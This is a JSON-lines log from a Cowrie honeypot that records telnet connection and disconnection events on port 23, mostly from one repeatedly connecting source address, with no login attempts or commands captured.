{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54410,"dst_ip":"159.203.135.109","dst_port":23,"session":"55afb31fd3c7","protocol":"telnet","message":"New connection: 147.135.136.77:54410 (159.203.135.109:23) [session: 55afb31fd3c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:09.252338Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54424,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1d0619e39d0","protocol":"telnet","message":"New connection: 147.135.136.77:54424 (159.203.135.109:23) [session: d1d0619e39d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:09.321596Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54406,"dst_ip":"159.203.135.109","dst_port":23,"session":"4945b16a0189","protocol":"telnet","message":"New connection: 147.135.136.77:54406 (159.203.135.109:23) [session: 4945b16a0189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:09.326264Z"}
{"eventid":"cowrie.session.closed","duration":31.375089168548584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:09.602320Z","src_ip":"81.30.157.18","session":"1c3d2005691e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625022172927856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:09.821588Z","src_ip":"147.135.136.77","session":"bcdc88135d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751585960388184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.040596Z","src_ip":"147.135.136.77","session":"e1f5937cfdca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.598738431930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.087430Z","src_ip":"147.135.136.77","session":"41d45677dc95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39026,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc818c2b8585","protocol":"telnet","message":"New connection: 81.30.157.18:39026 (159.203.135.109:23) [session: dc818c2b8585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.357170Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46096,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3c6b392c3ba","protocol":"telnet","message":"New connection: 37.187.24.227:46096 (159.203.135.109:23) [session: b3c6b392c3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.398417Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"edba84254707","protocol":"telnet","message":"New connection: 147.135.136.77:54442 (159.203.135.109:23) [session: edba84254707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.640675Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54444,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fa7116582fb","protocol":"telnet","message":"New connection: 147.135.136.77:54444 (159.203.135.109:23) [session: 7fa7116582fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:10.883043Z"}
{"eventid":"cowrie.session.closed","duration":30.687862873077393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.045198Z","src_ip":"147.135.136.77","session":"a35ee8d5010b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":47082,"dst_ip":"159.203.135.109","dst_port":23,"session":"23be92ca2092","protocol":"telnet","message":"New connection: 51.79.21.139:47082 (159.203.135.109:23) [session: 23be92ca2092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.060734Z"}
{"eventid":"cowrie.session.closed","duration":30.43202543258667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.073523Z","src_ip":"37.187.24.227","session":"242943023bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911921977996826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.172738Z","src_ip":"147.135.136.77","session":"78454e1530e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":47684,"dst_ip":"159.203.135.109","dst_port":23,"session":"38c70b5ef447","protocol":"telnet","message":"New connection: 37.187.24.227:47684 (159.203.135.109:23) [session: 38c70b5ef447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.185056Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"34b90dbaa07c","protocol":"telnet","message":"New connection: 147.135.136.77:54432 (159.203.135.109:23) [session: 34b90dbaa07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.407870Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54452,"dst_ip":"159.203.135.109","dst_port":23,"session":"766c291a5180","protocol":"telnet","message":"New connection: 147.135.136.77:54452 (159.203.135.109:23) [session: 766c291a5180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.543741Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39028,"dst_ip":"159.203.135.109","dst_port":23,"session":"3253c7c6d8f8","protocol":"telnet","message":"New connection: 81.30.157.18:39028 (159.203.135.109:23) [session: 3253c7c6d8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.626937Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b6738435d7a","protocol":"telnet","message":"New connection: 147.135.136.77:54468 (159.203.135.109:23) [session: 8b6738435d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:11.913301Z"}
{"eventid":"cowrie.session.closed","duration":30.783695459365845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.037921Z","src_ip":"147.135.136.77","session":"5f3359ee2711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93975305557251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.146982Z","src_ip":"37.187.24.227","session":"6f041587316f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71411681175232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.158754Z","src_ip":"147.135.136.77","session":"118f2a7f134f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.246678352355957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.184072Z","src_ip":"147.135.136.77","session":"da071a72873e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54470,"dst_ip":"159.203.135.109","dst_port":23,"session":"a06dd79be134","protocol":"telnet","message":"New connection: 147.135.136.77:54470 (159.203.135.109:23) [session: a06dd79be134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.201926Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54484,"dst_ip":"159.203.135.109","dst_port":23,"session":"faae9bfdc8e2","protocol":"telnet","message":"New connection: 147.135.136.77:54484 (159.203.135.109:23) [session: faae9bfdc8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.363900Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54492,"dst_ip":"159.203.135.109","dst_port":23,"session":"12fcf540072a","protocol":"telnet","message":"New connection: 147.135.136.77:54492 (159.203.135.109:23) [session: 12fcf540072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.393257Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54494,"dst_ip":"159.203.135.109","dst_port":23,"session":"701d064e18e3","protocol":"telnet","message":"New connection: 147.135.136.77:54494 (159.203.135.109:23) [session: 701d064e18e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.777760Z"}
{"eventid":"cowrie.session.closed","duration":31.0698983669281,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:12.782926Z","src_ip":"147.135.136.77","session":"2ab66ea3b203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d865163f8ee5","protocol":"telnet","message":"New connection: 147.135.136.77:54512 (159.203.135.109:23) [session: d865163f8ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.463311Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54528,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8d6058c77e","protocol":"telnet","message":"New connection: 147.135.136.77:54528 (159.203.135.109:23) [session: 5f8d6058c77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.488329Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":39040,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d8d6b4a5ec","protocol":"telnet","message":"New connection: 81.30.157.18:39040 (159.203.135.109:23) [session: b9d8d6b4a5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.492175Z"}
{"eventid":"cowrie.session.closed","duration":30.801118850708008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.600811Z","src_ip":"147.135.136.77","session":"32a03181fb65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862778425216675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.619670Z","src_ip":"147.135.136.77","session":"4ea149b781b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54534,"dst_ip":"159.203.135.109","dst_port":23,"session":"04de2d757037","protocol":"telnet","message":"New connection: 147.135.136.77:54534 (159.203.135.109:23) [session: 04de2d757037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:13.653662Z"}
{"eventid":"cowrie.session.closed","duration":30.42138409614563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.039864Z","src_ip":"147.135.136.77","session":"da647d9c7eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599595069885254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.122992Z","src_ip":"147.135.136.77","session":"39f845731946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85274863243103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.140943Z","src_ip":"147.135.136.77","session":"8fbbc1d210d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491676092147827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.163979Z","src_ip":"147.135.136.77","session":"031439117ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"e582f35c3394","protocol":"telnet","message":"New connection: 147.135.136.77:54510 (159.203.135.109:23) [session: e582f35c3394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.222157Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54540,"dst_ip":"159.203.135.109","dst_port":23,"session":"9072441e7164","protocol":"telnet","message":"New connection: 147.135.136.77:54540 (159.203.135.109:23) [session: 9072441e7164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.238241Z"}
{"eventid":"cowrie.session.closed","duration":30.514413356781006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.383362Z","src_ip":"147.135.136.77","session":"09077180f902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54548,"dst_ip":"159.203.135.109","dst_port":23,"session":"a67a23184dae","protocol":"telnet","message":"New connection: 147.135.136.77:54548 (159.203.135.109:23) [session: a67a23184dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.408208Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54550,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0d596773b6","protocol":"telnet","message":"New connection: 147.135.136.77:54550 (159.203.135.109:23) [session: 9c0d596773b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.608902Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54560,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f1812e0cc2","protocol":"telnet","message":"New connection: 147.135.136.77:54560 (159.203.135.109:23) [session: c4f1812e0cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.631899Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54562,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43d62132eb4","protocol":"telnet","message":"New connection: 147.135.136.77:54562 (159.203.135.109:23) [session: b43d62132eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:14.845201Z"}
{"eventid":"cowrie.session.closed","duration":30.833078622817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:15.063256Z","src_ip":"147.135.136.77","session":"f3eae263fe5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686580181121826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:15.123375Z","src_ip":"147.135.136.77","session":"e7ffa198064e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34398889541626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:15.190909Z","src_ip":"147.135.136.77","session":"7e05d40f3bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72206974029541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:15.199665Z","src_ip":"147.135.136.77","session":"17ae3ac448cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":54572,"dst_ip":"159.203.135.109","dst_port":23,"session":"79bc00c52ddc","protocol":"telnet","message":"New connection: 147.135.136.77:54572 (159.203.135.109:23) [session: 79bc00c52ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:15.427372Z"}
{"eventid":"cowrie.session.closed","duration":30.869731426239014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:16.038577Z","src_ip":"147.135.136.77","session":"df5aab16045e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830803394317627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:16.080724Z","src_ip":"147.135.136.77","session":"09c69dc347ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":38668,"dst_ip":"159.203.135.109","dst_port":23,"session":"472be83e073d","protocol":"telnet","message":"New connection: 51.79.21.139:38668 (159.203.135.109:23) [session: 472be83e073d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:16.152327Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39450,"dst_ip":"159.203.135.109","dst_port":23,"session":"071fe62cfe10","protocol":"telnet","message":"New connection: 168.119.91.149:39450 (159.203.135.109:23) [session: 071fe62cfe10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:16.718729Z"}
{"eventid":"cowrie.session.closed","duration":31.01596212387085,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.039985Z","src_ip":"147.135.136.77","session":"6e33b0a6d2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.009543418884277,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.096555Z","src_ip":"147.135.136.77","session":"293cf4e2a884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39594,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a1dcf40f40","protocol":"telnet","message":"New connection: 147.135.136.77:39594 (159.203.135.109:23) [session: e0a1dcf40f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.109028Z"}
{"eventid":"cowrie.session.closed","duration":31.131656646728516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.120636Z","src_ip":"147.135.136.77","session":"58cd5d161824","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990918159484863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.206098Z","src_ip":"147.135.136.77","session":"dba2c799fe0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904399156570435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.210605Z","src_ip":"147.135.136.77","session":"9d702d32308f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63740587234497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.279158Z","src_ip":"147.135.136.77","session":"cd1a236eb47e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04908013343811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.331316Z","src_ip":"147.135.136.77","session":"c5e58dc7ab1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46962,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef4d4aad041","protocol":"telnet","message":"New connection: 81.30.157.18:46962 (159.203.135.109:23) [session: 2ef4d4aad041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.378194Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":38674,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d07d79645f","protocol":"telnet","message":"New connection: 51.79.21.139:38674 (159.203.135.109:23) [session: e2d07d79645f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.471363Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39608,"dst_ip":"159.203.135.109","dst_port":23,"session":"74983b6abb14","protocol":"telnet","message":"New connection: 147.135.136.77:39608 (159.203.135.109:23) [session: 74983b6abb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.475318Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":46970,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb8d832d1ba0","protocol":"telnet","message":"New connection: 81.30.157.18:46970 (159.203.135.109:23) [session: fb8d832d1ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.756903Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39610,"dst_ip":"159.203.135.109","dst_port":23,"session":"d986b05a8f06","protocol":"telnet","message":"New connection: 147.135.136.77:39610 (159.203.135.109:23) [session: d986b05a8f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:17.771255Z"}
{"eventid":"cowrie.session.closed","duration":30.245142221450806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:18.039034Z","src_ip":"147.135.136.77","session":"9e3c9334d517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":39454,"dst_ip":"159.203.135.109","dst_port":23,"session":"c295de18a552","protocol":"telnet","message":"New connection: 168.119.91.149:39454 (159.203.135.109:23) [session: c295de18a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:18.149265Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39626,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ca4de89f80","protocol":"telnet","message":"New connection: 147.135.136.77:39626 (159.203.135.109:23) [session: 26ca4de89f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:18.178602Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39632,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc2aaa0ffdd3","protocol":"telnet","message":"New connection: 147.135.136.77:39632 (159.203.135.109:23) [session: bc2aaa0ffdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:18.282856Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39642,"dst_ip":"159.203.135.109","dst_port":23,"session":"240addae1200","protocol":"telnet","message":"New connection: 147.135.136.77:39642 (159.203.135.109:23) [session: 240addae1200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:18.319045Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39648,"dst_ip":"159.203.135.109","dst_port":23,"session":"11a9de58c706","protocol":"telnet","message":"New connection: 147.135.136.77:39648 (159.203.135.109:23) [session: 11a9de58c706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.024024Z"}
{"eventid":"cowrie.session.closed","duration":30.592941284179688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.057490Z","src_ip":"147.135.136.77","session":"6577547a0e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4985933303833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.063158Z","src_ip":"147.135.136.77","session":"d8ca41f7d449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714555501937866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.068189Z","src_ip":"147.135.136.77","session":"0b8bb950121f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81534695625305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.174134Z","src_ip":"147.135.136.77","session":"bcff047ec588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.250348806381226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.197615Z","src_ip":"147.135.136.77","session":"cc50fd2855af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da703ee05b5","protocol":"telnet","message":"New connection: 147.135.136.77:39652 (159.203.135.109:23) [session: 9da703ee05b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.202031Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":39656,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f9f21df81a","protocol":"telnet","message":"New connection: 147.135.136.77:39656 (159.203.135.109:23) [session: 89f9f21df81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:19.248528Z"}
